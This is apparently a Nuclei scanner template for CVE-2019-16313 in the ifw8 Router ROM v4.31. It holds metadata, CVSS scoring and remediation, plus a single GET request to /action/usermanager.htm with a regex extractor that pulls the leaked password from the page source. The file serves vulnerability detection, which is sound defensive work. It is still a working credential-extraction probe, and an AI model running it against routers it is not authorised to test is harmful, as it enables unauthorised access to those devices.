id: CVE-2019-16313

info:
  name: ifw8 Router ROM v4.31 - Credential Discovery
  author: pikpikcu
  severity: high
  description: ifw8 Router ROM v4.31 is vulnerable to credential disclosure via action/usermanager.htm HTML source code.
  impact: |
    An attacker can exploit this vulnerability to discover sensitive credentials.
  remediation: |
    Update the ifw8 Router ROM to a version that is not affected by CVE-2019-16313.
  reference:
    - https://github.com/Mr-xn/Penetration_Testing_POC/blob/master/CVE-2019-16313%20%E8%9C%82%E7%BD%91%E4%BA%92%E8%81%94%E4%BC%81%E4%B8%9A%E7%BA%A7%E8%B7%AF%E7%94%B1%E5%99%A8v4.31%E5%AF%86%E7%A0%81%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E.md
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16313
    - http://www.iwantacve.cn/index.php/archives/311/
    - https://github.com/CnHack3r/Penetration_PoC
    - https://github.com/apachecn-archive/Middleware-Vulnerability-detection
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-16313
    cwe-id: CWE-798
    epss-score: 0.47034
    epss-percentile: 0.98714
    cpe: cpe:2.3:o:ifw8:fr6_firmware:4.31:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ifw8
    product: fr6_firmware
  tags: cve,cve2019,exposure,router,iot,ifw8,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/action/usermanager.htm'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '<td class="pwd" data="([a-z]+)">\*\*\*\*\*\*<\/td>'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        group: 1
        regex:
          - '<td class="pwd" data="([a-z]+)">\*\*\*\*\*\*<\/td>'
        part: body
# digest: 490a0046304402205c1e4669950b6d49aae5dc3366c53551ed3bff46ae0de42458baea1fe26d0caa022054bc9e65fe507af988cd8309231b3a8a7e45c7d131ac6b30928e11c5c41e0a72:922c64590222798bb761d5b6d8e72950